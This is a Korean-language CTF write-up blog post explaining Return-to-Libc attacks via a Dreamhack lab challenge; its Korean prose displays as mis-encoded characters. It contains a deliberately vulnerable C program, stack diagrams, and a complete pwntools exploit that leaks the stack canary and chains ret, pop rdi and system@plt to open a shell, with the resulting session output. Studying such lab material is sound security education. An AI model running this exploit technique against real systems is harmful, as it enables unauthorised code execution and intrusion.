RTL(Return-to-Libc) ๊ณต๊ฒฉ

์ปด์ปดํ•œํ•ด์ปคยท2025๋…„ 1์›” 24์ผ

์‹œ์Šคํ…œ ํ•ดํ‚น

๋ชฉ๋ก ๋ณด๊ธฐ
2/6

๐Ÿ“Œ RTL์ด๋ž€?

์Šคํƒ์— NX(No eXecutable stack) ๋ณด์•ˆ ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์—ˆ์„ ๋•Œ ์‚ฌ์šฉํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ด๋‹ค.

๐Ÿ“ข ๋ฐฐ๊ฒฝ

NX ๋ณด์•ˆ ๊ธฐ๋ฒ•์€ "์Šคํƒ์—์„œ ์ฝ”๋“œ ์‹คํ–‰ ๋ถˆ๊ฐ€"๋ผ๋Š” ์ œ์•ฝ ์กฐ๊ฑด์„ ๋งŒ๋“ค์—ˆ๊ณ , ์ด๋กœ ์ธํ•ด ์Šคํƒ์—์„œ shellcode๋ฅผ ์‚ฝ์ž…ํ•˜๊ณ  RET ์ฃผ์†Œ์— overwriteํ–ˆ๋˜ 'Return to Shellcode' ๊ธฐ๋ฒ•์€ ์‹คํŒจํ•˜๊ฒŒ ๋œ๋‹ค.

๐Ÿ“ข ๊ฐ„๋‹จ ๋™์ž‘ ์›๋ฆฌ

1์ค„ ์š”์•ฝ

  • ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ ธ์™€ RET์— overwriteํ•˜๊ณ  ์ด๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ• --> ์Šคํƒ์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹Œ ๋ฉ”๋ชจ๋ฆฌ์— ์ ์žฌ๋˜์–ด ์žˆ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— NX ์šฐํšŒ ๊ฐ€๋Šฅ

๐Ÿ“ข ์˜ˆ์ œ Write-up

ํ•ด๋‹น ๋ฌธ์ œ๋Š” Dreamhack์˜ Return to library์˜ ๋ฌธ์ œ๋ฅผ write-up ํ•œ ๊ณผ์ •์ด๋‹ค.

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

์ด C์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด buf์˜ ํฌ๊ธฐ๋Š” 0x30์ธ๋ฐ readํ• ๋•Œ๋Š” 0x100์œผ๋กœ ์ฝ๋Š”๋‹ค. ์ด๋ฅผ ํ†ตํ•ด BOF๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๊ณ  ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์šฐํšŒ ๊ธฐ๋ฒ•์˜ ์ข…๋ฅ˜๋ฅผ ํŒŒ์•…ํ•ด์•ผ ํ•œ๋‹ค.

ํ•ด๋‹น c์ฝ”๋“œ์˜ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ ํŒŒ์ผ์— ์‚ฌ์šฉ๋œ ๊ธฐ๋ฒ•์„ ๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

***@***-virtual-machine:~/๋ฐ”ํƒ•ํ™”๋ฉด/dreamhack$ checksec ./rtl
[*] '/home/***/๋ฐ”ํƒ•ํ™”๋ฉด/dreamhack/rtl'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Canary์™€ NX๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด์žˆ๋‹ค.

// Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

์ด ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด buf ~ canary+1๊นŒ์ง€ dummydata๋ฅผ ๋„ฃ๊ณ  ๊ทธ ์ดํ›„์˜ ๊ฐ’์„ ์ฝ์–ด ๋“ค์ด๋ฉด canary์˜ ๊ฐ’์„ ์ฝ์–ด๋“ค์ผ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค. ์ด๋ฅผ ํ†ตํ•ด Canary ๊ธฐ๋ฒ•์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

// Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

Canary๊ฐ’์„ ์•Œ์•˜์œผ๋ฉด ์ด์ œ return to library ๊ฐ’์„ ์ž…๋ ฅํ•œ๋‹ค. ์ •์ƒ์ ์ธ ์Šคํƒ๊ฐ’๊ณผ RTL ๊ณต๊ฒฉ์„ ์œ„ํ•œ BOF ์Šคํƒ ๊ตฌ์กฐ๋ฅผ ๋น„๊ตํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

----------------------------
|       buf ( 48 bytes)    |
----------------------------
|       SFP ( 8 bytes)     |
----------------------------
|          RET             |
----------------------------
|          ....            |
----------------------------
----------------------------
|       buf (48 bytes)     |
----------------------------
|       Canary (8 bytes)   |
----------------------------
|       SFP (8 bytes)      |
----------------------------
|       RET (8 bytes)      |
----------------------------
|         /bin/sh          |
----------------------------

ํ•ด๋‹น RTL ๊ด€๋ จ ๋™์ž‘ ์›๋ฆฌ๋Š” ์•„๋ž˜ ์‚ฌ์ดํŠธ์— ๊ฐ€๋ฉด ๊ต‰์žฅํžˆ ์ž์„ธํ•˜๊ฒŒ ์„ค๋ช…ํ•ด์ค€๋‹ค. RTL ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์˜ ์›๋ฆฌ๋ฅผ ์ดํ•ดํ•˜๋ ค๋ฉด leave์™€ ret ๋ช…๋ น์–ด๋ฅผ ์ž˜ ๋ณด๋ฉด์„œ ๋”ฐ๋ผ๊ฐ€๊ธฐ๋ฅผ ๋ฐ”๋ž€๋‹ค. ์•„๋ž˜๋Š” Canary์™€ RTL ๊ณผ์ •์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•œ ์Šคํƒ ๊ตฌ์กฐ๋ฅผ ๊ทธ๋ฆฐ ๊ฒƒ์ด๋‹ค.

--------------------------
|       'A' * 56        | --> buf (56 byte)
--------------------------
|    0x00 + canary      |
--------------------------
|       'B' * 8         |  --> SFP
--------------------------
|          ret          |
--------------------------
|     pop rdi; ret      |
--------------------------
|       "/bin/sh"       |
--------------------------
|     system@plt        |
--------------------------

์ด ๋•Œ 'ret ์—†์ด pop rdi; ret์„ ์‚ฌ์šฉํ•˜๋ฉด ๋˜์ง€ ์•Š์„๊นŒ?' ์‹ถ์ง€๋งŒ ์Šคํƒ์€ 0x10๋‹จ์œ„๋กœ ์ •๋ ฌ๋˜์–ด์•ผ ํ•œ๋‹ค. ์ •๋ ฌ๋˜์ง€ ์•Š์œผ๋ฉด 'segmentation fault'๊ฐ€ ์ผ์–ด๋‚œ๋‹ค.
๋”ฐ๋ผ์„œ ํ•ด๋‹น payload๋ฅผ ๋งŒ๋“ค์–ด์„œ pwntools๋ฅผ ์ด์šฉํ•ด์„œ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜๋ฉด ์„ฑ๊ณต์ ์ผ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋œ๋‹ค.

from pwn import *

# p = process('./rtl')
p = remote("host1.dreamhack.games",16424)
e = ELF('./rtl')
r = ROP(e)

def slog(name,addr): return success(': '.join([name,hex(addr)]))

# [1] Leak Canary
buf = b'A'*0x39
p.sendafter(b'Buf: ',buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog('canary',canary)

# [2] address
system_plt = e.plt['system']
binsh = next(e.search(b'/bin/sh'))
pop_rdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
slog("system@plt",system_plt)
slog("/bin/sh",binsh)
slog("pop rdi",pop_rdi)
slog("ret",ret)

# [3] exploit
payload = b'A'*0x38 + p64(canary) + b'B' * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

p.sendafter(b'Buf: ',payload)

p.interactive()

ํ•ด๋‹น ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•ด์„œ ์ง„ํ–‰ํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

'/home/***/๋ฐ”ํƒ•ํ™”๋ฉด/dreamhack/rtl'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Loaded 14 cached gadgets for './rtl'
[+] canary: 0x8debe702db062b00
[+] system@plt: 0x4005d0
[+] /bin/sh: 0x400874
[+] pop rdi: 0x400853
[+] ret: 0x400285
[*] Switching to interactive mode
$ ls
flag
rtl
run.sh

flag๋ฅผ ๋ณด๋ฉด DH๊ฐ’์ด ๋‚˜์˜จ๋‹ค.


RTL ์›๋ฆฌ๋ฅผ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด ์ฐธ๊ณ ํ–ˆ๋˜ ์ž๋ฃŒ.

  1. https://rninche01.tistory.com/entry/RTLReturn-To-Libc

ํ•ด๋‹น ์˜ˆ์ œ๋ฅผ ๊ฐ€์žฅ ์ž˜ ์„ค๋ช…ํ•œ ์ž๋ฃŒ

  1. https://jjeongsu.tistory.com/39

0๊ฐœ์˜ ๋Œ“๊ธ€